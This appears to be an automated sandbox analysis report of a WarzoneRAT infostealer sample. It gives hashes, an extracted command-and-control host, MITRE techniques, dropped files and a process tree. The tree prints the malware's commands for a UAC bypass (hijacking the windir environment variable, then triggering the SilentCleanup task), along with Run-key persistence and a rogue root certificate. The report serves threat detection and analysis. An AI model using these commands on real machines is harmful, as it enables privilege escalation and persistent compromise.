warzonerat | 3971845bb66080170f9c166e1fcaf497d598dcfc5fbc380f0363711fc73e0580

Analysis

max time kernel
101s
max time network
149s
platform
windows10_x64
resource
win10-en
submitted
15-09-2021 07:02

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General

Target

434c581d692f438caa4dcae3d42c32d4.exe
Size

669KB
MD5

434c581d692f438caa4dcae3d42c32d4
SHA1

6f1fc19c1c796117366d744cd33998c34bab8e6f
SHA256

3971845bb66080170f9c166e1fcaf497d598dcfc5fbc380f0363711fc73e0580
SHA512

a06dbca9c28763005dff82eda81326d455a305d32fffee0dce8b5019faa5aefaf2e15a78c151519ab032723264274c457a516acab3fafbef757714d8ad64b7e0

Score

10^/10

warzonerat infostealer persistence rat spyware stealer

Malware Config

Extracted

Family

warzonerat

pentester01.duckdns.org:60976

Signatures

WarzoneRat, AveMaria
WarzoneRat is a native RAT developed in C++ with multiple plugins sold as a MaaS.
rat infostealer warzonerat

Warzone RAT Payload 1 IoCs

rat

Processes:

resource	yara_rule
behavioral2/memory/3988-132-0x0000000000400000-0x0000000000554000-memory.dmp	warzonerat

Blocklisted process makes network request 1 IoCs

Processes:

mshta.exe

flow pid process

15 3988 mshta.exe
Loads dropped DLL 6 IoCs

Processes:

mshta.exe

pid process

3988 mshta.exe
3988 mshta.exe
3988 mshta.exe
3988 mshta.exe
3988 mshta.exe
3988 mshta.exe
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

flow	pid	process
15	3988	mshta.exe

pid	process
3988	mshta.exe
3988	mshta.exe
3988	mshta.exe
3988	mshta.exe
3988	mshta.exe
3988	mshta.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

434c581d692f438caa4dcae3d42c32d4.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000\Software\Microsoft\Windows\CurrentVersion\Run\Htfpfau = "C:\\Users\\Public\\Libraries\\uafpftH.url"	434c581d692f438caa4dcae3d42c32d4.exe

Modifies registry key 1 TTPs 3 IoCs

Modify Registry
T1112

Processes:

reg.exereg.exereg.exe

pid process

3296 reg.exe
3924 reg.exe
1084 reg.exe

pid	process
3296	reg.exe
3924	reg.exe
1084	reg.exe

Modifies system certificate store 2 TTPs 2 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

T1112

Processes:

434c581d692f438caa4dcae3d42c32d4.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349	434c581d692f438caa4dcae3d42c32d4.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 5c000000010000000400000000080000090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b0601050507030853000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0620000000100000020000000d7a7a0fb5d7e2731d771e9484ebcdef71d5f0c3e0a2948782bc83ee0ea699ef40b000000010000001c0000005300650063007400690067006f002000280041004100410029000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e349200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e	434c581d692f438caa4dcae3d42c32d4.exe

Suspicious use of WriteProcessMemory 36 IoCs

Processes:

434c581d692f438caa4dcae3d42c32d4.execmd.execmd.execmd.exe

description	pid	process	target process
PID 4076 wrote to memory of 3988	4076	434c581d692f438caa4dcae3d42c32d4.exe	mshta.exe
PID 4076 wrote to memory of 3988	4076	434c581d692f438caa4dcae3d42c32d4.exe	mshta.exe
PID 4076 wrote to memory of 3988	4076	434c581d692f438caa4dcae3d42c32d4.exe	mshta.exe
PID 4076 wrote to memory of 3988	4076	434c581d692f438caa4dcae3d42c32d4.exe	mshta.exe
PID 4076 wrote to memory of 3988	4076	434c581d692f438caa4dcae3d42c32d4.exe	mshta.exe
PID 4076 wrote to memory of 3988	4076	434c581d692f438caa4dcae3d42c32d4.exe	mshta.exe
PID 4076 wrote to memory of 3988	4076	434c581d692f438caa4dcae3d42c32d4.exe	mshta.exe
PID 4076 wrote to memory of 3988	4076	434c581d692f438caa4dcae3d42c32d4.exe	mshta.exe
PID 4076 wrote to memory of 3988	4076	434c581d692f438caa4dcae3d42c32d4.exe	mshta.exe
PID 4076 wrote to memory of 3988	4076	434c581d692f438caa4dcae3d42c32d4.exe	mshta.exe
PID 4076 wrote to memory of 3988	4076	434c581d692f438caa4dcae3d42c32d4.exe	mshta.exe
PID 4076 wrote to memory of 3988	4076	434c581d692f438caa4dcae3d42c32d4.exe	mshta.exe
PID 4076 wrote to memory of 3988	4076	434c581d692f438caa4dcae3d42c32d4.exe	mshta.exe
PID 4076 wrote to memory of 3988	4076	434c581d692f438caa4dcae3d42c32d4.exe	mshta.exe
PID 4076 wrote to memory of 3988	4076	434c581d692f438caa4dcae3d42c32d4.exe	mshta.exe
PID 4076 wrote to memory of 2816	4076	434c581d692f438caa4dcae3d42c32d4.exe	cmd.exe
PID 4076 wrote to memory of 2816	4076	434c581d692f438caa4dcae3d42c32d4.exe	cmd.exe
PID 4076 wrote to memory of 2816	4076	434c581d692f438caa4dcae3d42c32d4.exe	cmd.exe
PID 2816 wrote to memory of 3952	2816	cmd.exe	cmd.exe
PID 2816 wrote to memory of 3952	2816	cmd.exe	cmd.exe
PID 2816 wrote to memory of 3952	2816	cmd.exe	cmd.exe
PID 3952 wrote to memory of 3296	3952	cmd.exe	reg.exe
PID 3952 wrote to memory of 3296	3952	cmd.exe	reg.exe
PID 3952 wrote to memory of 3296	3952	cmd.exe	reg.exe
PID 3952 wrote to memory of 3924	3952	cmd.exe	reg.exe
PID 3952 wrote to memory of 3924	3952	cmd.exe	reg.exe
PID 3952 wrote to memory of 3924	3952	cmd.exe	reg.exe
PID 3952 wrote to memory of 4020	3952	cmd.exe	schtasks.exe
PID 3952 wrote to memory of 4020	3952	cmd.exe	schtasks.exe
PID 3952 wrote to memory of 4020	3952	cmd.exe	schtasks.exe
PID 4076 wrote to memory of 924	4076	434c581d692f438caa4dcae3d42c32d4.exe	cmd.exe
PID 4076 wrote to memory of 924	4076	434c581d692f438caa4dcae3d42c32d4.exe	cmd.exe
PID 4076 wrote to memory of 924	4076	434c581d692f438caa4dcae3d42c32d4.exe	cmd.exe
PID 924 wrote to memory of 1084	924	cmd.exe	reg.exe
PID 924 wrote to memory of 1084	924	cmd.exe	reg.exe
PID 924 wrote to memory of 1084	924	cmd.exe	reg.exe

C:\Users\Admin\AppData\Local\Temp\434c581d692f438caa4dcae3d42c32d4.exe
"C:\Users\Admin\AppData\Local\Temp\434c581d692f438caa4dcae3d42c32d4.exe"
1⤵
- Adds Run key to start application
- Modifies system certificate store
- Suspicious use of WriteProcessMemory
PID:4076

C:\Windows\SysWOW64\mshta.exe
C:\Windows\System32\mshta.exe
2⤵
- Blocklisted process makes network request
- Loads dropped DLL
PID:3988

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Public\Trast.bat" "
2⤵
- Suspicious use of WriteProcessMemory
PID:2816

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /K C:\Users\Public\UKO.bat
3⤵
- Suspicious use of WriteProcessMemory
PID:3952

C:\Windows\SysWOW64\reg.exe
reg delete hkcu\Environment /v windir /f
4⤵
- Modifies registry key
PID:3296

C:\Windows\SysWOW64\reg.exe
reg add hkcu\Environment /v windir /d "cmd /c start /min C:\Users\Public\KDECO.bat reg delete hkcu\Environment /v windir /f && REM "
4⤵
- Modifies registry key
PID:3924

C:\Windows\SysWOW64\schtasks.exe
schtasks /Run /TN \Microsoft\Windows\DiskCleanup\SilentCleanup /I
4⤵
PID:4020

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Public\nest.bat" "
2⤵
- Suspicious use of WriteProcessMemory
PID:924

C:\Windows\SysWOW64\reg.exe
reg delete hkcu\Environment /v windir /f
3⤵
- Modifies registry key
PID:1084

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Install Root Certificate

T1130

Credential Access

Credentials in Files

T1081

Discovery

Lateral Movement

Collection

Data from Local System

T1005

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\Users\Public\Trast.bat
MD5
4068c9f69fcd8a171c67f81d4a952a54

SHA1
4d2536a8c28cdcc17465e20d6693fb9e8e713b36

SHA256
24222300c78180b50ed1f8361ba63cb27316ec994c1c9079708a51b4a1a9d810

SHA512
a64f9319acc51fffd0491c74dcd9c9084c2783b82f95727e4bfe387a8528c6dcf68f11418e88f1e133d115daf907549c86dd7ad866b2a7938add5225fbb2811d

Download Submit
C:\Users\Public\UKO.bat
MD5
eaf8d967454c3bbddbf2e05a421411f8

SHA1
6170880409b24de75c2dc3d56a506fbff7f6622c

SHA256
f35f2658455a2e40f151549a7d6465a836c33fa9109e67623916f889849eac56

SHA512
fe5be5c673e99f70c93019d01abb0a29dd2ecf25b2d895190ff551f020c28e7d8f99f65007f440f0f76c5bcac343b2a179a94d190c938ea3b9e1197890a412e9

Download Submit
C:\Users\Public\nest.bat
MD5
8ada51400b7915de2124baaf75e3414c

SHA1
1a7b9db12184ab7fd7fce1c383f9670a00adb081

SHA256
45aa3957c29865260a78f03eef18ae9aebdbf7bea751ecc88be4a799f2bb46c7

SHA512
9afc138157a4565294ca49942579cdb6f5d8084e56f9354738de62b585f4c0fa3e7f2cbc9541827f2084e3ff36c46eed29b46f5dd2444062ffcd05c599992e68

Download Submit
\Users\Admin\AppData\Local\Temp\freebl3.dll
MD5
ef12ab9d0b231b8f898067b2114b1bc0

SHA1
6d90f27b2105945f9bb77039e8b892070a5f9442

SHA256
2b00fc4f541ac10c94e3556ff28e30a801811c36422546a546a445aca3f410f7

SHA512
2aa62bfba556ad8f042942dd25aa071ff6677c257904377c1ec956fd9e862abcbf379e0cfd8c630c303a32ece75618c24e3eef58bddb705c427985b944689193

Download Submit
\Users\Admin\AppData\Local\Temp\mozglue.dll
MD5
75f8cc548cabf0cc800c25047e4d3124

SHA1
602676768f9faecd35b48c38a0632781dfbde10c

SHA256
fb419a60305f17359e2ac0510233ee80e845885eee60607715c67dd88e501ef0

SHA512
ed831c9c769aef3be253c52542cf032afa0a8fa5fe25ca704db65ee6883c608220df7102ac2b99ee9c2e599a0f5db99fd86894a4b169e68440eb1b0d0012672f

Download Submit
\Users\Admin\AppData\Local\Temp\msvcp140.dll
MD5
109f0f02fd37c84bfc7508d4227d7ed5

SHA1
ef7420141bb15ac334d3964082361a460bfdb975

SHA256
334e69ac9367f708ce601a6f490ff227d6c20636da5222f148b25831d22e13d4

SHA512
46eb62b65817365c249b48863d894b4669e20fcb3992e747cd5c9fdd57968e1b2cf7418d1c9340a89865eadda362b8db51947eb4427412eb83b35994f932fd39

Download Submit
\Users\Admin\AppData\Local\Temp\nss3.dll
MD5
d7858e8449004e21b01d468e9fd04b82

SHA1
9524352071ede21c167e7e4f106e9526dc23ef4e

SHA256
78758bf7f3b3b5e3477e38354acd32d787bc1286c8bd9b873471b9c195e638db

SHA512
1e2c981e6c0ca36c60c6e9cae9548b866d5c524df837095b30d618d9c322def7134c20de820105400dd1b58076b66d90274f67773ac6ba914f611b419babb440

Download Submit
\Users\Admin\AppData\Local\Temp\softokn3.dll
MD5
471c983513694ac3002590345f2be0da

SHA1
6612b9af4ff6830fa9b7d4193078434ef72f775b

SHA256
bb3ff746471116c6ad0339fa0522aa2a44a787e33a29c7b27649a054ecd4d00f

SHA512
a9b0fb923bc3b567e933de10b141a3e9213640e3d790b4c4d753cf220d55593ae8026102909969ba6bfc22da3b2fcd01e30a9f5a74bd14a0fdec9beaf0fb1410

Download Submit
\Users\Admin\AppData\Local\Temp\vcruntime140.dll
MD5
7587bf9cb4147022cd5681b015183046

SHA1
f2106306a8f6f0da5afb7fc765cfa0757ad5a628

SHA256
c40bb03199a2054dabfc7a8e01d6098e91de7193619effbd0f142a7bf031c14d

SHA512
0b63e4979846ceba1b1ed8470432ea6aa18cca66b5f5322d17b14bc0dfa4b2ee09ca300a016e16a01db5123e4e022820698f46d9bad1078bd24675b4b181e91f

Download Submit
memory/924-140-0x0000000000000000-mapping.dmp

Download
memory/1084-142-0x0000000000000000-mapping.dmp

Download
memory/2816-121-0x0000000000000000-mapping.dmp

Download
memory/3296-125-0x0000000000000000-mapping.dmp

Download
memory/3924-126-0x0000000000000000-mapping.dmp

Download
memory/3952-123-0x0000000000000000-mapping.dmp

Download
memory/3988-129-0x0000000000A70000-0x0000000000A71000-memory.dmp

Filesize
4KB

Download
memory/3988-133-0x0000000006050000-0x00000000060D4000-memory.dmp

Filesize
528KB

Download
memory/3988-132-0x0000000000400000-0x0000000000554000-memory.dmp

Filesize
1.3MB

Download
memory/3988-130-0x0000000000A90000-0x0000000000A91000-memory.dmp

Filesize
4KB

Download
memory/3988-131-0x0000000010670000-0x00000000107C6000-memory.dmp

Filesize
1.3MB

Download
memory/3988-120-0x0000000000000000-mapping.dmp

Download
memory/3988-128-0x0000000000AF0000-0x0000000000AF1000-memory.dmp

Filesize
4KB

Download
memory/4020-127-0x0000000000000000-mapping.dmp

Download
memory/4076-115-0x00000000023D0000-0x00000000023D1000-memory.dmp

Filesize
4KB

Download
memory/4076-117-0x00000000023F0000-0x000000000240B000-memory.dmp

Filesize
108KB

Download